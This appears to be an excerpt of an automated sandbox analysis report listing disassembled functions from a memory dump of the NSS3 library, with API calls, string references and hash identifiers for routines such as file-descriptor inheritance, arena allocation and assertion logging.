Function 6CAB7CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CAB7CE0

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7D36
PR_Realloc.NSS3(?,00000080), ref: 6CAB7D6D
PR_GetCurrentThread.NSS3 ref: 6CAB7D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CAB7DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7DD8
malloc.MOZGLUE(00000080), ref: 6CAB7DF8
PR_GetCurrentThread.NSS3 ref: 6CAB7E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CAB7DF0
:%s:%d:0x%lx, xrefs: 6CAB7DB9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 4e4086c7019d516849daa372e0ae8e90708bf667590589ba279341529354f9a4
Instruction ID: 5a6e80f2550178986ed8c35f2deb9911b949b1aec6abb52f392dc0c466af608f
Opcode Fuzzy Hash: 4e4086c7019d516849daa372e0ae8e90708bf667590589ba279341529354f9a4
Instruction Fuzzy Hash: C141B5B15002059FDB08CF29CD8096B37BAFF85358B29456CE819EBB51D771E885CBB1

Function 6CAB7E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CAB7E46

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CAB7EAF
PR_ImportFile.NSS3(?), ref: 6CAB7ECF
PR_GetCurrentThread.NSS3 ref: 6CAB7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CAB7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CAB7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CAB7F15

Strings

%d:0x%lx, xrefs: 6CAB7EA9
NSPR_INHERIT_FDS, xrefs: 6CAB7E41

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 904efe944384e1710b9c64ab5bdb5973e5edccb378e3695ed5ba9da5845c2515
Instruction ID: f6796d19fdbab02f3ddc69142166c0f67ad4cb40eef69686af9381161cc67a27
Opcode Fuzzy Hash: 904efe944384e1710b9c64ab5bdb5973e5edccb378e3695ed5ba9da5845c2515
Instruction Fuzzy Hash: 5A3134709041168BEB00DB69D940AABB7BCFF05748F180565E846F3A11E7B1DDC8C7B2

Function 6C9EECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C9EDE64), ref: 6C9EED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9EED22

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PL_FreeArenaPool.NSS3(?), ref: 6C9EED4A
PL_FinishArenaPool.NSS3(?), ref: 6C9EED6B
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9EED38

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C9EED52
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9EED83
PL_FreeArenaPool.NSS3(?), ref: 6C9EED95
PL_FinishArenaPool.NSS3(?), ref: 6C9EED9D

Part of subcall function 6CA064F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CA0127C,00000000,00000000,00000000), ref: 6CA0650E

Strings

security, xrefs: 6C9EED06

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: f7c7fb63ddc46869c9d9bc8aaf0e42a91686ff25c8a439f821f2b5a7c8e04d0e
Instruction ID: 324bbd5b4f8d338a807714e3069acd064a5fac4bb2a90397b0819de416d36b58
Opcode Fuzzy Hash: f7c7fb63ddc46869c9d9bc8aaf0e42a91686ff25c8a439f821f2b5a7c8e04d0e
Instruction Fuzzy Hash: D8118436A002046BE7019A24BC44BBB727CAF2924CF010938EC4462F41FB25E5CC8AE7

Function 6CAB0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C992357), ref: 6CAB0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C992357), ref: 6CAB0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CAB0EE6

Part of subcall function 6CAB09D0: PR_Now.NSS3 ref: 6CAB0A22
Part of subcall function 6CAB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CAB0A35
Part of subcall function 6CAB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CAB0A66
Part of subcall function 6CAB09D0: PR_GetCurrentThread.NSS3 ref: 6CAB0A70
Part of subcall function 6CAB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CAB0A9D
Part of subcall function 6CAB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CAB0AC8
Part of subcall function 6CAB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CAB0AE8
Part of subcall function 6CAB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CAB0B19
Part of subcall function 6CAB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0B48
Part of subcall function 6CAB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CAB0C76
Part of subcall function 6CAB09D0: PR_LogFlush.NSS3 ref: 6CAB0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CAB0EFA

Part of subcall function 6C99AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C99AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CAB0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CAB0ED9, 6CAB0EE5, 6CAB0F06, 6CAB0F0B
Aborting, xrefs: 6CAB0EB3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: e8f416612882fc2a5b30b1f698bdeb83334957c2e5277cbc708608f92cbd6394
Instruction ID: ac0cf8ef790fb776d58baac46970602e8cf6848fadbc58066f21b5b270478ea9
Opcode Fuzzy Hash: e8f416612882fc2a5b30b1f698bdeb83334957c2e5277cbc708608f92cbd6394
Instruction Fuzzy Hash: 8DF028F59002087BEF103BA1EC49C8F3E3CDF46228F008024FD1912602EA35ED6996F2

Function 6CA14DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CA14DCB

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CA14DE1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CA14DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA14E59

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAD300C,00000000), ref: 6CA14EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CA14EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CA14F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA1521A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 6be0eac061865bdaa8a4087a8bd3d577e85679868d7d80d7ed16b112e64f91af
Instruction ID: 21d9a6da4ea96410de762dc6c2d2a436ef10d113681e880c6a7c95e135b1f931
Opcode Fuzzy Hash: 6be0eac061865bdaa8a4087a8bd3d577e85679868d7d80d7ed16b112e64f91af
Instruction Fuzzy Hash: E4F16C71E082098FDB05CF58D8407AEB7B2BF48358F294169E915ABB81E775E9C1CB90

Function 6C9EF9A0 Relevance: 16.7, APIs: 11, Instructions: 195stringmemoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C), ref: 6C9EF9B9

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_NewLock.NSS3 ref: 6C9EF9D2

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C9EFA5A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9EFAA0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9EFABB
free.MOZGLUE(00000000), ref: 6C9EFB02
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9EFB12
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C9EFB5F
free.MOZGLUE(?), ref: 6C9EFB6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9EFB86
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EFBE1

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$strcmp$free$Alloc_LockUtilValuecallocmalloc
String ID:
API String ID: 4237468566-0
Opcode ID: 46139a5ab9308a2b517acfab45e0efe93a84761255a4652553a00830f7077674
Instruction ID: 4028c7203183e3f75bce576aabc4932dca2fafda198538c53cbc06c7263cdd5c
Opcode Fuzzy Hash: 46139a5ab9308a2b517acfab45e0efe93a84761255a4652553a00830f7077674
Instruction Fuzzy Hash: 60610871E012259BEB02AE65BC407AF7778AF7931CF18012AD818ABB81E771E548C7D1

Function 6C9F18D0 Relevance: 16.7, APIs: 11, Instructions: 169COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F1926
EnterCriticalSection.KERNEL32 ref: 6C9F193F
PR_Unlock.NSS3 ref: 6C9F1962
PR_Unlock.NSS3 ref: 6C9F1996
PK11_GetSlotInfo.NSS3 ref: 6C9F19A5
TlsGetValue.KERNEL32 ref: 6C9F19DC
EnterCriticalSection.KERNEL32 ref: 6C9F19F5
PR_Unlock.NSS3 ref: 6C9F1A2D
TlsGetValue.KERNEL32 ref: 6C9F1A50
EnterCriticalSection.KERNEL32 ref: 6C9F1A69
PR_Unlock.NSS3 ref: 6C9F1ABC

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$calloc$InfoK11_Slot
String ID:
API String ID: 3878197720-0
Opcode ID: d4ca5e7b5107a9c30bdc6b9291dcc8a748c77c4364713f3e876236d36312f158
Instruction ID: 2b4261b3f467ed3f73e3d5c772da52780bdcaf461818474e6e696f681cfdbc57
Opcode Fuzzy Hash: d4ca5e7b5107a9c30bdc6b9291dcc8a748c77c4364713f3e876236d36312f158
Instruction Fuzzy Hash: 55618CB5604B04CFDB10AF79D58436AB7F4BF46318F15592DC8AA87B50EB34E48ACB81

Function 6CA10C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CA12C2A), ref: 6CA10C81

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

Part of subcall function 6C9E8500: SECOID_GetAlgorithmTag_Util.NSS3(6C9E95DC,00000000,00000000,00000000,?,6C9E95DC,00000000,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10CC4

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CA10CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CA10D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CA10D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CA10D7D
free.MOZGLUE(00000000), ref: 6CA10DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10DC1
free.MOZGLUE(00000000), ref: 6CA10DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA10E0F

Part of subcall function 6C9E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E95E0
Part of subcall function 6C9E95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E95F5
Part of subcall function 6C9E95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9E9609
Part of subcall function 6C9E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E961D
Part of subcall function 6C9E95C0: PK11_GetInternalSlot.NSS3 ref: 6C9E970B
Part of subcall function 6C9E95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9E9756
Part of subcall function 6C9E95C0: PK11_GetIVLength.NSS3(?), ref: 6C9E9767
Part of subcall function 6C9E95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C9E977E
Part of subcall function 6C9E95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9E978E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: f3cecfc10830de52de7cfd9786715f3c0e0c22737c74b285b4f9fe29e71e8e42
Instruction ID: cf85417722a5087f33bfefd69233cb1d1d1bbe7e3de708694b207bfbce06b0aa
Opcode Fuzzy Hash: f3cecfc10830de52de7cfd9786715f3c0e0c22737c74b285b4f9fe29e71e8e42
Instruction Fuzzy Hash: 3241D6B1900245ABEB009F64DC41BAF7A74AF2530CF144028E91567B41E735EAA8CBE2

Function 6C9A4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A502A
PR_NewLock.NSS3(00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A5034
PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6CA4C350,00000000,00000000,00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A5055
PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6CA4C350,00000000,00000000,?,00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A506D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 221dce5baad77084d5af93548f1798ac81dadec9115090c96db2d592beba9682
Instruction ID: cfdb6a05bfc87e984e1fb032ac4f69e56536a9f9a011f4f62a1e4dbd37c324bf
Opcode Fuzzy Hash: 221dce5baad77084d5af93548f1798ac81dadec9115090c96db2d592beba9682
Instruction Fuzzy Hash: 1931F8B1B417209BEB149BA6C88DB5737BC9B3730CF014119EA1983A41D3B5D54ECBD2

Function 6C942E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C942F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C942FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C943005
memcpy.VCRUNTIME140(?,?,?), ref: 6C9430EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C943131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C943178

Strings

database corruption, xrefs: 6C94316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C943022, 6C943156, 6C943162, 6C94318A, 6C943196, 6C9431A2, 6C9431AE, 6C9431BA, 6C9431C6
%s at line %d of [%.10s], xrefs: 6C943171

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
